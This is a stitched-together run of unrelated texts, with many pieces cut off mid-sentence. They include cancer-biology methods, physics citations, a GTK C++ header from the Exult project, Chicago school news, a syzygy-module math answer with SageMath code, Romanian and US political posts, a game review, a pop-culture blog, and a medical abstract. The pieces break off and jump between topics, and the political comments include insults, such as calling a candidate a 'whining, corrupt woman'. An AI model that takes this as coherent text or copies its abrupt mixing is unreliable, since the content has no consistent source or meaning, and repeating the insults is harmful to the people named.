affecting carcinogenesis, progression, metastasis and tumor recurrence. In HCC, it has been reported that aberrant expression of let-7 miRNAs contributed to the development and progression of HCC \[[@CR5], [@CR6]\]. Research has indicated that some miRNAs may function as oncogenes when up-regulated in HCC; to the contrary, the down-regulated miRNAs suggested them as tumor suppressors \[[@CR7], [@CR8]\]. Functioning as tumor suppressors, let-7 miRNAs were found to repress Ras, Bcl-xl, MAPK, c-Myc, cyclin D1 and other oncogenes in HCC \[[@CR8], [@CR9]\]. Wnt1 stimulates the Wnt/β-catenin/TCF pathway, leading to different cell fates, and then regulating the transcription of many downstream genes which contain the TCF/LEF1 motif, affecting biological functions and the maintenance of self-renewal of cancer stem cells (CSCs) \[[@CR10]--[@CR12]\]. However, there is no research focused on the relationship between let-7 and the Wnt signaling pathway. Tumors consist of cells with heterogeneity, with different characteristics, and the CSCs are demonstrated to be steady and stable through clinical chemo-radiotherapy, due to the slow cell cycles and low proliferative ability, contributing to tumor relapse and occurrence of resistance \[[@CR8], [@CR13]\]. Therefore, treatments targeting these silent CSCs will show great potential in eliminating the tumor group entirely, helping to overcome resistance to therapy and recurrence of the tumor. However, the underlying mechanism by which let-7 works to inhibit CSCs in HCC remains largely unknown. Methods {#Sec2} ======= Cell culture, transfection and infection {#Sec3} ---------------------------------------- MHCC97-H and HCCLM3 human HCC cells were purchased from ATCC and maintained at the central laboratory of the Qilu Hospital of Shandong University. The cells are cultured in DMEM medium (Invitrogen, USA), containing 10 % fetal bovine serum (FBS), 1 % penicillin and 1 % streptomycin (Invitrogen, USA). The spheres (hepatospheres) were cultured in DMEM/Ham's F-12 medium compounded with 10 ng/ml epidermal growth factor, 10 ng/ml human basic fibroblast growth factor, 4 μg/ml insulin, 1 % penicillin and 1 % streptomycin (Invitrogen, USA). Oligonucleotides encoding mature let-7a/b/c/d/e/f/g/i miRNAs and miRNA-LSC1 were synthesized by Invitrogen and cloned into the lentiviral vector lentilox3.7 (pLL3.7). SiRNAs targeting Wnt1were synthesized and purchased from GenePharma Inc. (Shanghai, China). Transfections were performed using Lipofectamine 2000 (Invitrogen, USA), and the siRNAs were added the second days after cells were plated. Transiently transfected HCC cells were harvested 48 h post-transfection. Reverse transcription PCR and real-time PCR {#Sec4} ------------------------------------------- Total RNA was isolated from fresh clinical specimen using TRIzol® Reagent (Invitrogen, USA) following mechanical tissue homogenization, or from or cultured cells using Trizol reagent after treatment with 5 μg/ml puromycin for 48 h. Approximately 1 μg of RNA was reverse-transcribed to single strand cDNA using PrimeScript RT Master Mix (Takara Biotechnology, China). The real-time PCR was conducted in a total volume of 25 μl as previously reported \[[@CR7], [@CR14]\]. The cycle threshold (Ct) was automatically calculated by iQ™-5 Optical Module software (Bio-rad, USA). The relative expression of let-7 family members was normalized to U6 expression, and then calculated using the formula 2^−ΔΔCt^ method, versus the scramble control. Sphere formation assays {#Sec5} ----------------------- The spheres formation assay is often used to enrich stem-like cells, being are used to isolate and expand population enriched in CSCs \[[@CR15]--[@CR18]\]. Cells of different groups were seeded in ultra-low adherent-conditioned plates (Corning, USA) to test their ability of forming primary spheres, in the presence of puromycin. In total, 12,000 cells were seeded per 6 cm plate. On day 9, cell sphere number of spheres was counted using an inverted microscope, a sphere was defined as contaning more than 10 cells. The sphere-forming efficiency was calculated as the percentage of counted spheres versus seeded cells \[[@CR19]\]. Spheres of different groups were disaggregated, and 12,000 cells were then re-suspended per 6 cm plate to test their self-renewal ability. Immunofluorescence and IHC {#Sec6} -------------------------- Cells were seeded on glass chamber slides for 24 h, and then fixed by 10 % formalin for 15 min. Antigens were blocked with 2 % normal goat serum (ab7481, Abcam, USA), cells werethen incubated with the β-catenin antibody for 1 h in PBS, and then incubated with Alexa Fluor® 488 (Life technologies, USA) for 30 min, washed in PBS, incubated for 10 min with 2 μg/ml of Hoechst 33342 (Life technologies, USA), and washed with PBS again. For IHC, the paraffin tissues were rehydrated in an alcohol gradient and then were rinsed in deionized water. Endogenous peroxidase activity was blocked using a 0.03 % hydrogen peroxide solution. 1:200 IHC-TekTM Antibody Diluent (IW-1000, Ellicott City, MD, USA) was used to reduce background staining. The section was then incubated with 1 μg/ml ab16051 for 1 h at room temperature and detected using an HRP, DAB was used as the chromogen. Flow cytometry analysis {#Sec7} ----------------------- The propidium iodide (PI) and Annexin V-FITC (Green) kits were obtained from BD Biosciences (San Jose, CA). Cells of different groups were collected and trypsinized into a single cell, and then washed twice with PBS. All cells were resuspended in 500 μl binding buffer respectively, and 5 μl of Annexin V-FITC and 10 μl of PI were added. The mixture was gently vortexed and then incubated for 15

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[**58**]{}, 1012 (1989). V. T. Rajan, J. H. LowensteinandN. Andrei; Phys. Rev. Lett. [**49**]{}, 497 (1982) V. Zlatić and R. Monnier Phys. Rev. B [**71**]{}, 165109 (2005). K. Miyake and H. Kohno. J. Phys. Soc. Jpn. [**74**]{}, 254 (2005). Posts Tagged «politico» Here is what I cannot stand about the liberal media. That you have a certified jerk and admitted Oxycontin addict like Rush Limbaugh, rushed off to the hospital while on his Christmas vacation, admitting to the medical crews that he was taking drugs for his back problems. That old excuse? Where are all the conflicting reports? Where are the many spoofs on his drug addiction? Where is that hospital report? If this was any other well-known person (I hate to call him a celebrity because he is so gross), it would be all over the tabloids. But yoo hoo…must you… Read More »Find the Right SSD Solution for your Workload Needs 7X faster than SATA III 6GB/s SSD SSD is 5X faster than HDD PCIe 5 years limited warranty Outstanding Reliability SATA III 6GB/s is 3 years warranty Composition of SSD Storage Devices Controller + NAND Flash + DRAM 3D NAND flash is a type of flash memory in which the memory cells are stacked vertically in multiple layers. 3D NAND is developed to break through density limitations of the 2D planar NAND, and thus can deliver a greater level of performance and endurance./** ** A GTK widget showing the list of NPC's. ** ** Written: 7/6/2005 - JSF **/ #ifndef INCL_NPCLST #define INCL_NPCLST 1 /* Copyright (C) 2005-2013 The Exult Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "objbrowse.h" #include "shapedraw.h" #include "rect.h" #include <vector> #include <ctime> #include <string> class Vga_file; class Image_buffer8; class Shapes_vga_file; class Editing_file; class Estudio_npc; /* * Store information about an NPC shown in the list. */ class Npc_entry { friend class Npc_chooser; short npcnum; Rectangle box; // Box where drawn. public: void set(int num, int rx, int ry, int rw, int rh) { npcnum = num; box = Rectangle(rx, ry, rw, rh); } }; /* * One row. */ class Npc_row { friend class Npc_chooser; short height = 0; // In pixels. long y; // Absolute y-coord. in pixels. unsigned index0; // Index of 1st Npc_entry in row. }; /* * This class manages a list of NPC's. */ class Npc_chooser: public Object_browser, public Shape_draw { GtkWidget *sbar; // Status bar. guint sbar_sel; // Status bar context for selection. std::vector<Npc_entry> info; // Pos. of each shape/frame. std::vector<Npc_row> rows; unsigned row0; // Row # at top of window. int row0_voffset; // Vert. pos. (in pixels) of top row. long total_height; // In pixels, for all rows. int last_npc; // Last shape visible in window. int voffset; // Vertical offset in pixels. int status_id; // Statusbar msg. ID. int red; // Index of color red in palbuf. bool drop_enabled; // So we only do it once. void (*sel_changed)(); // Called when selection changes. // Blit onto screen. void show(int x, int y, int w, int h) override; void show() override { Npc_chooser::show(0, 0, draw->allocation.width, draw->allocation.height); } void select(int new_sel); // Show new selection. void render() override; // Draw list. void set_background_color(guint32 c) override { Shape_draw::set_background_color(c); } void setup_info(bool savepos = true) override; void setup_shapes_info(); int find_npc(int npcnum); // Find index for given NPC. void goto_index(unsigned index); // Get desired index in view. int get_selected_id() override { return selected; } void scroll_row_vertical(unsigned newrow); void scroll_vertical(int newoffset); // Scroll. void setup_vscrollbar(); // Set new scroll amounts. GtkWidget *create_popup() override; // Popup menu. public: Npc_chooser(Vga_file *i, unsigned char *palbuf, int w, int h, Shape_group *g = nullptr, Shape_file_info *fi = nullptr); ~Npc_chooser() override; int get_count(); // Get # shapes we can display. std::vector<Estudio_npc> &get_npcs(); void search(const char *srch, int dir) override; void locate(bool upwards) override; // Locate NPC on game map. // Turn off selection. void unselect(bool need_render = true); void update_npc(int num); void update_statusbar(); bool is_selected() { // Is a shape selected? return selected >= 0; } void set_selected_callback(void (*fun)()) { sel_changed = fun; } unsigned get_num_cols(

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iate. You will not do any of the initial steps to get some of that money back.”</p><p>The Chicago Teachers Union first sounded the alarm on the bank deals in 2011, but board members and CPS officials repeatedly dismissed the issue.</p><p>“Three years we’ve been coming here and being told that our facts are wrong, that we just don’t understand, and being dismissed by Mr. Vitale,” said Matthew Luskin, a CPS parent and organizer for the CTU. “A full week of Trib headlines tell a very different story.”</p><p>Luskin said he understands that CPS cannot just cancel the contracts with the banks, but he pushed the board to file for arbitration to renegotiate the contracts, and “take a stand.”</p><p>“They could call these banks out, blame them for the cuts and closings that have happened, instead of blaming retirees and parents and children who take up too many resources,” Luskin said. “They could announce that CPS won’t do business with these banks anymore if they refuse to renegotiate.”</p><p>McCaffrey with CPS said the district is monitoring the risks of its swap portfolio closely, “including the possibility of termination.” But he also said, by the district’s calculation, the deals saved more than $30 million in interest costs compared to the costs of fixed-rate bonds.</p><p>The debt payments and the minimum wage weren’t the only issues raised at the meeting. Two librarians came to speak about the <a href="http://www.wbez.org/news/losing-school-librarians-chicago-public-schools-110547" target="_blank">reassignments and layoffs of full-time librarians</a>.</p><p>“The loss of school librarians is especially alarming in CPS high schools where there are now only 38 high schools with librarians,” said Nora Wiltse, a school librarian at Coonley Elementary.</p><p>A student and a teacher from Kelly High School came to sound the alarm on <a href="http://www.wbez.org/news/custodial-contract-causing-problems-start-school-year-110767" target="_blank">cleanliness at their school since Aramark</a> took over CPS’s janitorial services.</p><p>The Board also approved <a href="http://www.wbez.org/cps-changes-school-ratingsagain-111118" target="_blank">a new school rating policy</a>.</p><p><iframe frameborder="no" height="166" scrolling="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/177839305&color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false" width="100%"></iframe></p></p>Thu, 20 Nov 2014 13:16:00 -0600http://www.wbez.org/news/cps-chief-backs-mayors-13-hour-minimum-wage-111138Aramark, CPS change plan to cut school janitorshttp://www.wbez.org/news/aramark-cps-change-plan-cut-school-janitors-110870 <img typeof="foaf:Image" src="http://llnw.wbez.org/main-images/2979169728_730927ae16_z.jpg" alt="" /><p><p>Today was supposed to be the last day of work for 468 janitors in Chicago Public Schools.</p><p>But Aramark, the private contractor now overseeing the management of custodians in CPS, is changing that plan <a href="http://www.wbez.org/news/custodial-contract-causing-problems-start-school-year-110767">after complaints about cleanliness</a> from principals, parents and teachers.</p><p>The union representing privately employed janitors in CPS said 178 janitors will keep their jobs and the remaining 290 will work for another month. Aramark spokesperson Karen Cutler confirmed those numbers and said they are working closely with the union and CPS to make sure schools have "appropriate custodial staffing levels."</p><p>“We would prefer to see no layoffs anywhere and see everybody have good paying, full-time jobs,” said Tom Balanoff, president of the Service Employees International Union Local 1.  “But again, we do think with the technology Aramark’s brought in and the readjustment on the number of janitors, we think that we will be able to maintain a good level of cleanliness in the schools.”</p><p>Balanoff said they are working to find jobs for the 290 janitors being laid off at the end of October.<br /><br />CPS has had privatized cleaning services for more than a decade, but last February, the board <a href="https://soundcloud.com/wbez/chicago-further-privatizes">voted to award two contracts worth a total $340 million</a> to Aramark and SodexoMAGIC. The two companies would manage all 2,500 janitors in the school system, even though the janitors remain employed by subcontractors, like <a href="http://www.wecleaninc.com/">WeClean Inc.</a> and Total Facilities, or by the Board of Education directly.</p><p>Balanoff said the change allows 83 of the longest-serving janitors employed by private subcontractors to keep their jobs. Another 95 will be hired directly as Aramark employees for at least the next 10 months.</p><p>The changes do not impact 825 janitors employed directly by the Board of Education. Those janitors are represented by SEIU Local 73. However, many of those board-funded janitors have been reassigned to other schools in light of the pending layoffs.</p><p>CPS officials did not immediately comment. It is not clear how much the move may cost and who will foot the bill, the district or Aramark.</p><p>At <a href="http://www.wbez.org/news/school-board-takes-cleanliness-controversy-110851">last week’s Board of Education meeting</a>, district Chief Administrative Officer Tim Cawley said Aramark was “flooding the zone” to fix any issues related to school cleanliness.</p></p>Mon, 29 Sep 2014 21:30:00 -0500http://www.wbez.org/news/aramark-cps-change-plan-cut-school-janitors-110870Chicago Public Schools will get money for no-show students, againhttp://www.wbez.org/news/chicago-public-schools-will-get-money-no-show-students-again-110861 <img typeof="foaf:Image" src="http://llnw.wbez.org/main-images/board of ed_2.jpg" alt="" /><p><p>Chicago Public Schools is making a surprising announcement that could cost the district millions of dollars.</p><p>In a letter being sent to principals today, CPS CEO Barbara Byrd-Bennett told schools they would <a href="http://www.wbez.org/news/no-further-budget-cuts-schools-didnt-attract-enough-students-108748" target="_blank">again be held harmless</a> for students who didn’t show up this year.</p><p>The district changed the way it funds schools last year. Instead of funding positions and programs from downtown, schools are now given about $5,000 per student on average, under a formula called “student-based budgeting.”</p><p>Last year, because the system was new, the district allowed schools that didn’t meet enrollment targets to keep the money allocated to them anyway.</p><p>In a call with reporters about layoffs in June, Byrd-Bennett insisted that would not happen again.</p><p>“No no no, that was last year, remember, and I preached that over and over that it was a one-time hold harmless,” she said.</p><p>But now, she’s changing her mind. In the letter to principals, Byrd-Bennett wrote that CPS plans to use “student-based budgeting transition contingency funds and anticipated surplus from Tax-Increment-Financing funds” to make sure schools get money based off their projections, not actual enrollment.</p><p>The letter also said any school that got more students on the first day would get

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information as well. If you need help finding that perfect promotional travel kit, contact our sales representatives now!Q: Coefficients such that linear combination lies in an ideal Let $R$ be a ring, $I$ an ideal, and $\langle g_1, \ldots, g_m \rangle$ a finitely generated ideal. Considering the intersection $I \cap \langle g_1, \ldots, g_m \rangle$, I became interested in the set of coefficients $c \in R^m$ such that $\sum_i c_i g_i \in I$. Question: is there an algorithm to calculate $\{ c \in R^m : \sum_i c_i g_i \in I \}$? It seems to be an $R$-module. It is easy to see that $\prod_i (I : (g_i))$ is contained in it (which contains $IR^m$). Does it have a name? Can it be expressed in terms of some other objects which can be computed? I am interested in the case $R = k[x_1,\ldots,x_n]$ where $k$ is a field, and (so) the ideal $I$ is also finitely generated. Maybe a Groebner basis of the intersection could help. Solution attempt: Suppose $I \cap \langle g_1, \ldots, g_m \rangle$ is finitely generated (e.g. $R$ is Noetherian). Say it is equal to $\langle h_1, \ldots, h_t \rangle$, and express $h_s = \sum_i b_{s,i} g_i$ with $b_{s,i} \in R$. Then $b_s = (b_{s,i}) \in R^m$ is contained in the set I'm interested in, for each $s=1,\ldots,t$. So the span $Rb_1+ \ldots+ Rb_t \subset R^m$ is contained in the set I'm interested in. Now the question is whether a different choice of basis for the intersection (or a different choice of coefficients) can give more elements in the span, and whether $Rb_1 + \ldots + Rb_t$ exhausts the set I'm interested in. A: Suppose $I = \langle f_1, \ldots, f_r\rangle$ and consider the map $R^r \oplus R^m \twoheadrightarrow I + J$ that sends $(b,c) \mapsto \sum_j b_j f_j + \sum_i c_i g_i$. Its kernel $K$ is the first module of syzygies for $I+J$. The projection of $K$ to $R^m$ is exactly the $R$-module $T$ that you want. Proof. The projection of $K$ to $R^m$ consists of those $c \in R^m$ for which there exists $b$ such that $\sum c_i g_i = -\sum b_j f_j \in I$, and for every $c \in R^m$ with $\sum c_i g_i \in I$ there exists such a $b$. So the algorithm is: calculate the first module of syzygies for $I+J$ and project to $R^m$. Example: $I = \langle f \rangle = \langle x^2 + y^2 - 1\rangle$ and $J = \langle \frac{\partial f}{\partial x},\frac{\partial f}{\partial y}\rangle = \langle 2x, 2y \rangle$. In SageMath: sage: R.<x,y> = PolynomialRing(QQ,2) sage: I = R.ideal(x^2+y^2-1) sage: J = R.ideal(2*x, 2*y) sage: T = (I+J).syzygy_module()[:,len(I.gens()):]; T [ -y x] [ x*y y^2 - 1] [x^2 + y^2 - 1 0] Here the projection to $R^m$ is achieved by slicing the matrix of generators of $K$. The rows of the resulting matrix are generators of $T$. In the example we see that $x\frac{\partial}{\partial y}-y\frac{\partial}{\partial x}$ is a polynomial vector field on the circle and furthermore $IR^m \subset T$. One might be more interested in a (smaller) set of generators for the quotient $T/IR^m$. To this end we can find the module of syzygies for $T + IR^m$ and project to the space of coefficients for generators of $T$; these are syzygies for $T$ modulo $IR^m$. For every such syzygy modulo $IR^m$ where one of the coefficients is an invertible constant, remove the respective generator (because it can be expressed in terms of the others, modulo $IR^m$). Continuing the example in Singular: > ring r=0,(x,y),dp; > module n = [-y, x], [xy, y2-1], [x2+y2-1,0], [x2+y2-1,0], [0,x2+y2-1]; // T + IR^m > LIB "matrix.lib"; ... > print(submat(transpose(syz(n)),1..3,1..3)); 0, 0, -1, x, 1, 0, y2-1,-x,y Here we see that columns two and three contain invertible constants, so the second and third generators can be removed. So in this example $T/IR^m$ is generated by $(-y, x)$. For completeness, the calculation above can be achieved (in general) through the SageMath interface to Singular: sage: import itertools sage: m = len(J.gens()) sage: IRm = matrix([[i if j == b else 0 for j in range(0,m)] for (i,b) in itertools.product(I.gens(),range(0, m))]) sage: r = R._singular_() sage: n = singular(map(list, list(T) + list(IRm)), type='module') # T + IR^m sage: singular('transpose(syz(%s))' % n.name(), type='matrix').sage()[:,0:T.nrows()] [ 0 0 -1] [ x 1 0] [y^2 - 1 -x y] A final useful remark is that the set of $\sum c_i g_i$, where $c$ ranges over the generators of $T$, is a set of generators for $I \cap J$. In SageMath: sage: R.ideal([sum(map(prod,zip(t,J.gens()))) for t in T]) == I.intersection(J) True The proof attempt in the question was an attempt to reverse this process. Disclaimer: Received no compensation for post. Read entry form for full disclosure. Sponsor responsible for prize fulfillment. Any promotion on this site is in no way sponsored, endorsed or administered by, or associated with, Facebook, Twitter, Pinterest, Stumble, Digg or GoogleLiberalii au încercat, luni, 27 octombrie, să introducă pe ordinea de zi a Camerei Deputaților respingerea proiectului de lege privind amnistia și grațierea, însă acest lucru a fost respins prin vot de către plenul camerei. Din 211 deputați prezenți, 122 au votat împotriva introducerii respingerii legii pe ordinea de zi, 81 pentru introducere, 5 abțineri și 3 deputați nu au votat. România Curată a intrat în posesia listelor cu votul din plen, pe care le puteți vedea mai jos. Astfel, puteți vedea cine a amânat respingerea legii amnistierii și grațierii. Anterior, Victor Ponta declarase că legea amnistierii și grațierii nu va trece de votul Parlamentului, din moment ce toată lumea s-a pronunțat împotriva ei. După cum se poate observa și din listele de mai jos, cei care au votat împotriva introducerii respingerii acestui proiect de lege pe ordinea de zi sunt deputații PSD și cei din arcul guvernamental. Răspundeți și voi, la rubrica de comentarii: de ce credeți că PSD și colegii de coaliție au amânat votarea respingerii leg

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down from these moments, however, the cracks can sometimes show themselves. Abstracted systems are a necessary albatross in strategy of this scale, but after the dynamism of the tactical battles, things like automatic trade routes and simple tech trees can feel like poor representations of the political and social machinations they aim to simulate. After a few stretches hitting the ‘end turn’ button after not doing very much of anything, it becomes apparent that Thrones of Britannia’s streamlining may have come at the cost of some of the series’ intrigue. It’s also worth noting that, on standard difficulty with an easy starting faction, I was able to breeze through the campaign to an ultimate victory in a single night of play. For the last quarter of this campaign, I was at a constant food deficit, frequently bankrupt, and pretty much shrugging off both diplomacy and my own populace. Trickier factions have much more precarious early games, of course, but it was a little disappointing to be able to brute force my way through so many hindrances. Thrones of Britannia’s many systems started to feel like optional indulges, rather than tactical necessities. On the plus side, commanding an unstoppable legion of red caped bastards is probably the closest I’ve come to feeling like Tywin Lannister, so there’s that. After the clattering of hooves and the din of hoarse war chants, it can feel odd to return to a tactical overlay that, while occasionally tense, can often feel vacant of meaningful choice. It’s all focused firmly towards evoking the period though, and here, Creative Assembly’s love for history absolutely bleeds through. Or would, I guess, if there was any blood in the game. There’s a greyed out ‘DLC’ tab on the main menu, though. Make of that one what you will. A Total War Saga: Thrones of Britannia is released May 3 on Steam for £29.99/$39.99The Superhero Legacy of In Living Color Over the weekend, Jamie Foxx spilled some pretty spoilery secrets aboutThe Amazing Spider-Man 2 and a potential Sinister Six spin-off movie. Foxx plays the supervillain Electro in the upcoming superhero sequel, and it got me thinking about the comic book movie legacy of In Living Color, one of my favorite shows growing up. The year was 1990. I was a shy, nerdy 10-year-old living in Newport News, Virginia. Like my origin post said, I was practically raised by television because my mother was constantly working. When I wasn’t watching horror shows like Tales from the Crypt, you could find me watching anything that would make me laugh. My favorites were sitcoms like The Fresh Prince of Bel Air and Family Matters. Since there were no Asians to look for on television, I turned to these shows to find any kind of cultural connection — and to laugh uncontrollably. And no other show made me laugh harder than In Living Color. “I’m ecstatic!” From the moment Keenan Ivory Wayans impersonated Mike Tyson on a “Love Connection” parody, I was hooked. For the next four years, I couldn’t wait to watch it every Sunday night. I appreciated everything about the show, but what was most important to me was that I could connect to it on a personal level. I loved that the show featured a talented cast of actors of color. Years earlier, The Cosby Show had changed the way that black families were viewed on television, and In Living Color was doing the same thing for sketch comedies as well. While Eddie Murphy might have been on Saturday Night Live during the early ‘80s, SNL was (and still is) mostly white. Keenan and his brother Damon took their show to a whole new level, proving that a cast of black comics could put together a ridiculously successful and funny sketch show. Speaking of comics, I also loved the show because it often intersected with my love of comic book superheroes and other nerdy genres. (I know it isn’t Star Trek Weekanymore, but this “Wrath of Farrakhan” sketch is pretty hilarious). My favorite superheroes at the time were X-Men‘s Beast and Storm, mainly because Beast was an intellectual and Storm was a badass female mutant of color. I always rooted for the underdogs and outsiders — like the X-Men — because I thought of myself as one too. Being half white and half Korean, I never felt fully accepted by either side, so I constantly lived my life in fear of rejection. I just wanted to be accepted, and not be judged for my appearance, or by the Cross Colours jeans that I wore. See, during the early ‘90s I was an awkward middle schooler who wore coke-rimmed glasses and thought a “cool” fashion statement was to rock a Chicago Bulls embossed turtleneck. Obviously, I was wrong. All that being said, when Damon Wayans first appeared as Handi-Man, the disabled superhero whose motto is “Never underestimate the powers of the handicapped,” I was ecstatic (just like I was with the Mike Tyson sketch). Some people were offended by the offhanded humor of the sketch — as a lot of people were with all of the sketches on the show — but I saw the character as a symbol of empowerment. People with disabilities are often pictured as helpless, and they’re never seen as heroes. But here you had a person who was black and disabled fighting crime and kicking ass, and he’s making you laugh at the same time! I loved Handi-Man, and apparently so did Gary Norris Gray, who wrote about the character’s importance in Gibbs Magazine. I remained a dedicated fan until the show’s last episode in 1994. It was devastating to no longer see characters like Wanda, Vera de Milo, Anton Jackson and The Brothers Brothers every Sunday night. I was going to miss them because they all played a big part in shaping my crazy sense of humor during adolescence. But luckily for me, just as the show was coming to an end, some of my favorite cast members would be debuting themselves as superheroes on the big screen. “You’ve got to be with a *woman* first! You’ve got to knock some boots, man! You’re a virgin.” That same year Damon Wayans and David Alan Grier teamed up for the superhero parody Blankman. Instead of Wayans playing a disabled superhero, this time he was an extremely nerdy one. (So of course I loved him!) Wayans’ portrayal of Darryl/Blankman was innocent and heartwarming, and Grier as Darryl’s skeptical older brother/sidekick, was hilarious. Plus, Robin Givens (who the show had parodied in that first sketch I mentioned — seriously, I loved that Tyson sketch) played the love interest. Blankman is still one of the only examples of a superhero film where people of color are the main characters and not just supporting players. “Let me riddle ya somethin!” Also in 1994, arguably the show’s biggest star, Jim Carrey, appeared in The Mask, which was based on the Dark Horse Comics series. He played the hapless-loser-turned-cartoonish-stud Stanley Ipkiss with great charm, which is why it was so easy for Carrey to charm his way into the role of The Riddler in Joel Schumacher’s Batman Forever the following year. Although I wasn’t a fan of the film, I think Carrey played the supervillain in an over-the-top (and annoying) way that was perfect for the director’s take on the character. Most recently, Jim Carrey accomplished the rare comic book trifecta by starring in Kick-Ass 2, which is based on the Mark Millar and John Romita Jr. comics of the same name. Although I haven’t seen the film, I know he plays an ex-mafia vigilante named Colonel Stars and Stripes. (Carrey would go on to denounce his violent role in the film after the Sandy Hook shootings, and he has refused to promote the film as a result). There was quite a bit of a comic book movie lull from the In Living Color guys after Carrey’s turn as Edward Nygma in 1995. It wasn’t until 2009 that one of the younger Wayans — Marlon — appeared in G.I. Joe: The Rise of Cobra. Playing Ripcord, a colonel whose specialty is airborne infantry and demolitions — and who was traditionally a white character in the Joe comics and cartoon, Wayans brought a sense of humor to the role that offset the wooden performance of Channing Tatum as the “all-American” Duke. Instead, Wayans’ Ripcord proved that you could bring the funny and still be the realest of American heroes. However, his best efforts didn’t get him invited back for the sequel. Oh well. The most interesting thing, though, is that G.I. Joe actually wasn’t Marlon’s first stab at a comic book movie role. Back in 1991, when Tim Burton was set to direct Batman Returns, he had originally picked Marlon to play Robin. Unfortunately, the role was cut from the film before shooting, and when Burton opted out of the franchise prior to Batman Forever, Joel Schumacher and the studio had a different (read: whiter) vision for the sidekick. It’s probably best that Marlon didn’

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and director of social mobility and vulnerable learners at the EPI, said: “This research provides important evidence on unexplained pupil exits in the school system, following reports of children being removed by schools for reasons that are not in the pupil’s best interests. ”For the first time, we begin to see the full scale of this problem, having stripped away cases where family decisions have led to school moves. “Our estimate is that one in 12 children are being pushed around the system, and that this has risen in recent years. ”We will undertake further research on these trends this year, highlighting prevalence among local areas and groups of schools.“ The EPI says the schools with very high exit rates have removed the equivalent of an entire classroom of children from a single year group, as they have moved through secondary school, from 2012 to 2017. According to the research, pupils with certain characteristics are disproportionately represented among those leaving school rolls. One in three pupils in the social care system, one in seven disadvantaged pupils, and one in eight black pupils experience unexplained school moves, the report says. The report also found the proportion of pupils who left school rolls with no explanation was the highest in the most recent cohort in our study – those expected to have finished year 11 in 2017. For the 2014 cohort, 7.2 percent moved between schools or left the school system completely, and this was not explained by family reasons for moving. In the 2011 year group, over the course of five years, 7.8 percent of pupils had moves that were unexplained by family reasons. Education campaigners have long expressed concern at the notion of off-rolling – where problematic, badly behaved or academically poor pupils are unofficially removed from the school. ‘The size of unexplained pupil moves is disturbing’ This can include a ”managed move“, when a school looks for an alternative to expelling a pupil, such as asking another institution to admit the youngster to give them a new start. Other examples, identified by local authorities, include suggesting the pupil is educated at home for an unspecified period, prompting concerns children could fall through the gaps and out of the education system. Unlike formal exclusions, there is no requirement to record the reason why a pupil has been removed from a school roll. David Laws, executive chairman of the EPI, said: ”The size of unexplained pupil moves is disturbing and will raise concerns about whether some schools are ‘off-rolling’ pupils. “We need to look particularly closely at the six percent of schools which account for almost a quarter of unexplained moves. ”In a few months’ time we will publish figures showing the scale of this issue by school group, to allow for greater scrutiny over what is happening in our schools.“Surgical treatment of hepatic metastases: impact of intraoperative sonography. A prospective study was done to determine the influence of intraoperative sonographic findings on surgical decision making in patients with hepatic metastases. Thirty-seven consecutive patients with hepatic metastases who underwent surgery (for hepatic resection or intraarterial catheter placement) were prospectively evaluated. For each patient, the resectability of the metastases and the surgical approach were determined preoperatively on the basis of the combined results of sonography, bolus dynamic CT, and CT during arterial portography (CTAP). Those determinations were compared with the decisions made during surgery, which were based on the intraoperative sonographic findings. The surgical procedure that was actually performed was compared with the procedure decided on preoperatively. Eighty-two metastases were surgically and pathologically proved. Preoperatively, 73 (89%) of the 82 metastases were detected with a combination of sonography, bolus dynamic CT, and CTAP. Seventy-nine metastases (96%) were detected with intraoperative sonography. Six metastases in four patients were detected only with intraoperative sonography. Furthermore, in two patients, intraoperative sonography showed four additional metastases, which changed the initial surgical approach decided on preoperatively. Our study suggests that intraoperative sonography provides important data that cannot be obtained with preoperative imaging techniques and affect the surgical decision making in patients with hepatic metastases.Watch Jessica Yellin's report on Sen. Obama's attendance record in the U.S. Senate. WASHINGTON (CNN) - Since the U.S. Senate returned from its August receess, Sen. Barack Obama has missed more votes than another other Democrat running for the White House - nearly 80 percent since September. Congressional Correspondent Jessica Yellin has this report from Capitol Hill. Here is a speech Obama delivered yesterday on Civil Right in South Carolina. Read it with an open mind and see how this man is instrumental to bridge racial and political division in this country and why we can't afford not to elect him instead of an ambitious, whining, corrupt woman who is looking to live up to her own ambition as opposed to a strong agenda for all of us. I don't see CNN is making any news on a great story like this one. Wake up CNN!! http://my.barackobama.com/page/community/post_group/ObamaHQ/Cnx5 It’s a special honor to be here in Clarendon County. Because Clarendon County is the place that showed me and showed America that when ordinary people come together, they can do extraordinary things. That’s the Clarendon County I know. I know how sixty years ago, the NAACP’s James Hinton dared to ask why white children could ride buses to school but black children had to walk. I know how Reverend J.A. DeLaine, a preacher and teacher in Summerton, heard that call and joined with Levi Pearson, a father who was sick and tired of seeing his children walk nine miles to school, and with Harry and Eliza Briggs and more than a dozen other Black parents to challenge unequal education. I know that because of that challenge, Harry Briggs lost his job at the local service station, Eliza Briggs lost hers at a local hotel, and Reverend DeLaine’s home was burned to the ground while the fire department stood by and watched. It would have been easy for them to stay home. To heed the voices of caution and convenience that said, “wait,” “the timing isn’t right,” or “the country just isn’t ready.” It would have been easy for them to give in to the fears that no doubt kept them awake some nights. But I know that because they were willing to overcome their fears and reach for a larger dream, the Supreme Court overturned “separate but equal,” and Congress passed the Civil Rights Act and the Voting Rights Act. And I know that I stand on their shoulders, that their courage and sacrifice six decades ago makes it possible for me to run today for President of the United States. So I know Clarendon County. The Clarendon County that showed a nation how to look up rather than down. The Clarendon County that made a claim on the American Dream. The Clarendon County that changed the course of history. But I also know another Clarendon County. I know schools in the Corridor of Shame. I know J.V. Martin Junior High School in Dillon was built more than a century ago, and for years had shattered windows, leaking ceilings, and broken bathrooms. I know South Carolina has the worst high school dropout rate in America. I know that all across this nation, one out of every four children go to schools just like J. V. Martin, and take away the same message that we don’t care enough about their education to do better by them. I know that America today is still blind to the poverty in our midst, and that we still tolerate Jena justice for some and Scooter Libby justice for others. I know that Black parents in Clarendon are still having to go to court to give their children an equal education – fifty years after Brown v. Board of Education. There is another side of Clarendon County, another side of America, still waiting for what Harry and Eliza Briggs hoped 